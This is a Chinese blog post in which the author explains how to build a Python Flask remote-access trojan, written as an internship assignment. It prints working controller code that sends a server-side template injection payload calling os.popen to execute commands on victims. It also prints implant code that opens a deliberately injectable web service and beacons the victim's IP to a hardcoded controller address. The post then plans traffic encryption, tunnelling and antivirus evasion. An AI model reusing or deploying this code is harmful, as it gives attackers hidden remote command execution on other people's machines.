首页 > 其他分享 >基于SSTI的木马远控编写

基于SSTI的木马远控编写

时间:2023-01-01 18:23:02浏览次数:52  
标签:__ socket get 远控 SSTI 木马 uid def name

基于SSTI的木马远控编写

起因是要交实习作业,编写渗透测试平台,我觉得没有页面展示的平台算什么平台,于是乎写了个python flask+jinja2的web页面,但是在写后门远控这一块的时候,遇到了很多问题,没有办法把socket和web端结合起来,因为每次访问触发函数就会导致重复启用socket服务,造成端口冲突,指令也无法传递。当然,并不是说这种方式不可以,flask有其专门的websocket模块以及socketio,但是没有使用过,也不熟悉js,所以没有采用这种方式去写,就换了个思路,写一个单纯基于http的远控木马。

然后搜索python webshell的时候看到了这篇文章,有点启发

python flask 内存马

于是设计了一个基于以下思路实现的木马(emmm,大佬轻喷纯粹写着玩,事实上不基于ssti也可以做到,这个漏洞利用有些鸡肋,而且里面部分代码写的有些粗糙)

其实主要思路就是让被控主机自己开启一个带有漏洞的站点给主控端访问,主控端直接传递一个ssti payload来实现触发

 

主控端关键代码:

@app.route('/info/',methods=['GET','POST'])
def info():
    flist = open("list1.txt",'r')
    uid = request.form['uid']
    fcontent = flist.readlines()
    flist.close()
    if uid not in fcontent:
        f = open("list1.txt",'a')
        f.write(uid+'\r\n')
        f.close()
    return redirect(url_for('print_info'))

@app.route('/print_info')
def print_info():
    uidf = open('list1.txt')
    uid = uidf.readlines()
    uidf.close()
    return render_template('list1.html',uid=uid)

@app.route('/remotecontrol/<name>', methods=['GET', 'POST'])
def yuankong(name):
    if request.method == "GET":
        return render_template("remotecontrol.html",name=name)
    else:
        cmd = request.form['cmd']
        res=requests.get('http://'+name+':8000'+'?param={{config.__class__.__init__.__globals__[\'os\'].popen(\''+cmd+'\').read()}}').text
        return render_template('remotecontrol.html',allCarbDiet=res,name=name)

被控端代码:

import threading

from flask import Flask,request
from flask import render_template_string
import socket
import requests
import time

def get_host_ip1():

    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s.connect(('8.8.8.8', 80))
        ip = s.getsockname()[0]
    finally:
        s.close()
    return ip
class FlaskApp(Flask):
    def __init__(self, *args, **kwargs):
        super(FlaskApp, self).__init__(*args, **kwargs)
        self._activate_background_job()

    def _activate_background_job(self):
        def run_job():
            i = 0
            while i < 3:
             print('执行后台任务')
             i+=1
             time.sleep(1)
            if i ==3 :
             requests.get('http://' + get_host_ip1() + ':8000')
        t1 = threading.Thread(target=run_job)
        t1.start()
##上面的主要目的是实现让木马启动后可以自己访问自己的网站,从而使主控端收到上线ip,达到自动化目的,不然需要被控端手动访问一次自己的网站就很麻烦 app = FlaskApp(__name__) def get_host_ip(): try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect(('8.8.8.8', 80)) ip = s.getsockname()[0] finally: s.close() return ip @app.route('/',methods=['GET', 'POST']) def test(): host = get_host_ip() requests.post('http://192.168.0.101:5000/info/', data={'uid': host}) template = '''%s''' %(request.values.get('param')) return render_template_string(template) if __name__ == '__main__': app.run(host='0.0.0.0',port=8000)

实现效果:

web端执行指令:

 

 

 

被控端展示(虚拟机):

 

 

 这个木马很多地方都需要改进,比如

1.加密传递的内容,不然流量特征太过明显

2.如果是真实实战,那么被控端还需要做流量穿透,可以写一个代理功能

3.功能并不完善,考虑后面写一些文件上传,文件下载,截图,以及联动msf(一个设想,肯定需要涉及免杀了)

 

标签:__,socket,get,远控,SSTI,木马,uid,def,name
From: https://www.cnblogs.com/willing-sir/p/17018367.html

相关文章

  • win10 远程桌面和向日葵远控哪个好用
    win10远程桌面和向日葵远控哪个好用如今,远程办公已经成为许多在家工作,电子通勤的必备工作模式,这种工作方式的诞生,也让我们自由安排工作时间,少了很多上班通勤的时间,在家里......
  • 暴雪、迪士尼大佬用什么画画?RayLink远控软件助力解锁远程创作
    CG绘画从业者,如原画师、插画师、漫画家、设计师等,一定对数位板\数位屏不陌生,数位板\数位屏是完成CG绘画作品的重要绘图工具之一。从画画小白到数字绘画大神,从0基础插画培......
  • 3D移动,两面反转的盒子,3D导航栏,旋转木马
    3D移动,两面反转的盒子,3D导航栏,旋转木马1.3D移动translate<!DOCTYPEhtml><htmllang="en"><head><metacharset="UTF-8"><metaname="viewport"content="......
  • Linux DDoS 木马再度来袭
    Linux用户又有一个木马需要苦恼了,就像以往一样,这些黑客大多部署在被劫持的Linux系统上,并在接受到命令后发起DDoS攻击。发现这件事的Dr.Web的安全研究人员说:“木马似......
  • “NOPEN”远控木马分析报告
    “NOPEN”远控木马分析报告发布日期:2022年09月02日    点击:44近日,国家计算机病毒应急处理中心对名为“NOPEN”的木马工具进行了攻击场景复现和技术分析。该木马......
  • xor DDOS木马分析
    xorDDOS木马分析阅读量115797发布时间:2022-08-1010:30:57 1、样本功能“XOR.DDoS”木马一款经典的linuxdos木马,该木马能够感染32位和64位的Linux系统,通过安......
  • 一款隐藏嵌入式Rookit的DDoS木马分析
    一款隐藏嵌入式Rookit的DDoS木马分析发布于2018-02-0610:07:28阅读 7150 该款木马分析文章在2015年由@PETERKÁLNAI最先发表于AVAST的公开blog中,木马的架构......
  • RayLink 远控软件又推出 2 个重磅宝藏功能免费用
    你有没有在远程办公时,担心他人偷窥电脑?以致于保密性资料或私密信息,遭到泄露、创意被剽窃......又或是遇到过邻座同事屏幕前明明没人,鼠标箭头却自个浏览起网页的惊悚画面?如......
  • 一次web木马解剖
    木马解剖:这是一段JS木马,请一定谨慎,不要在浏览器中执行。但在本站本文中阅读是安全的,本文url如下http://www.path8.net/tn/archives/4235;但笔者不能保......
  • 利用木马钓鱼渗透浏览器漏洞靶机
    1准备环境win7虚拟机:192.168.225.140cn_windows_7_ultimate_x64_dvd_x15-66043.isokali2020.4:192.168.225.138kali-linux-2020.4-vmware-amd64.7z如果ssh连接不到kal......